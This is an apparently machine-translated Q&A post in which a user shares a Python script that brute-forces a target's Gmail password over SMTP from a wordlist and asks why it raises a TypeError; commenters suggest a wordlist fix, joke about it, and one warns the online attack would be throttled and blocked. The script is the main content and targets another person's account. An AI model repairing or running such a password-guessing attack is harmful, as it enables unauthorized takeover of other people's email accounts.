Я пытаюсь сделать перебой паролем в python 3.4. Но когда я запускаю программу, я получаю эту ошибку: `TypeError: Логин() отсутствует 1 необходимые позиционная аргумент: 'пароль' Код:Brute force gmail password breaker в python
import smtplib
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
usr = input('enter the target gmail adress: ')
wordlist = open('c:/users/Niels/desktop/python/wrdlst.txt', 'r')
for passw in wordlist:
try:
smtplib.SMTP.login(usr, passw)
print('password cracked!\npassword: ' + passw)
break
except smtplib.SMTPAuthenticationError:
print(passw + '...\nincorrect.')
Я могу помочь вам, но только при условии, что вы не взломаете мою учетную запись gmail. – 101
Просто угадайте: у вас есть пустые строки в wrdlst.txt? – alfasin
Hi Niels, онлайн-атака на GMail - действительно глупая идея. Сначала вы должны сделать математику и проверить, сколько попыток вы можете сделать в секунду, тогда вы можете рассчитать, сколько лет вам нужно будет проверить обычный словарь. Ваша атака запускается для одной учетной записи, поэтому вы заметите, что ваши попытки очень скоро начнут замедляться, пока вы не будете заблокированы. – martinstoeckli